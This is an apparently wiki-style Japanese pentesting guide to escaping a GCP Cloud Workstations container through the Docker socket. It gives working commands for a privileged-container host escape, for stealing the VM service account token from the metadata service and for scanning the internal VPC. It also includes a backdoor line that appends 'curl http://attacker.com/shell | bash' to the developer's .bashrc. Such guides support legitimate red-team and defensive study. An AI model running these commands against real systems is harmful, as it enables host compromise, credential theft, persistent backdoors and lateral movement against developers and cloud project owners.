# GCP - Cloud Workstations Privesc


### Container Breakout via Docker Socket (Container -> VM -> Project)

Cloud Workstations における主要な権限昇格経路は、開発者向けに **Docker-in-Docker (DinD)** ワークフローをサポートする必要性に由来します。workstation の構成が Docker socket をマウントするか、privileged containers を許可している場合（一般的な構成）、workstation コンテナ内の攻撃者は基盤となる Compute Engine VM へ脱出し、そのサービスアカウントトークンを奪取できます。

**前提条件:**
- Cloud Workstation ターミナルへのアクセス（SSH、乗っ取られたセッション、または盗まれた資格情報経由）
- workstation の構成が `/var/run/docker.sock` をマウントするか、privileged containers を有効にしていること

**アーキテクチャの文脈:** workstation はコンテナ（Layer 3）で、Docker/Containerd ランタイム（Layer 2）上の GCE VM（Layer 1）で動作しています。Docker socket はホストのコンテナランタイムへの直接アクセスを提供します。

> [!NOTE]
> ツール [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) は完全な container escape を自動化し、ホスト VM 上の root シェルに降ろします。

<details>

<summary>ステップ 1: Docker socket を確認</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
# Expected output: srw-rw---- 1 root docker 0 ...
```
</details>

<details>

<summary>ステップ 2: Escape — ホストVMのファイルシステムへ</summary>

privileged container を起動し、ホストのルートディレクトリを `/mnt/host` にマウントします。また、可視性を最大化するためホストの network と PID namespace も共有します。
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
-v /:/mnt/host \
alpine sh

# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
あなたは現在、基盤となる **Compute Engine VM 上の root shell** を持っています（Layer 1）。

</details>

<details>

<summary>ステップ3: VM の service account token を IMDS から盗む</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Check which service account is attached
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email

# Check scopes (CRITICAL STEP)
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
```
</details>

> [!CAUTION]
> **スコープを確認してください！**
> 付与されている Service Account が **Editor** であっても、VM はアクセススコープによって制限されている可能性があります。
> もし `https://www.googleapis.com/auth/cloud-platform` が表示されていれば、フルアクセスを持っています。
> もし `logging.write` と `monitoring.write` のみが表示されている場合、以下の **Network Pivot** と **Persistence** ベクトルに制限されます。

<details>

<summary>ステップ4: Achieve Persistence (Backdoor the User)</summary>

Cloud Workstations は永続ディスクを `/home/user` にマウントします。コンテナのユーザ（通常は `user`, UID 1000）がホストのユーザ（UID 1000）と一致するため、ホストのホームディレクトリに書き込みできます。これにより、workstation container が再構築されても環境にバックドアを仕掛けることができます。
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/

# Drop a backdoor that executes next time the developer logs in
# Note: Do this from the container escape context
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
```
</details>

<details>

<summary>Step 5: Network Pivot (Internal VPC Access)</summary>

host network namespace (`--net=host`) を共有しているため、あなたは現在 VPC 上の信頼されたノードになっています。IP whitelisting に基づいてアクセスを許可する内部サービスをスキャンできます。
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap

# Scan the internal VPC subnet
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
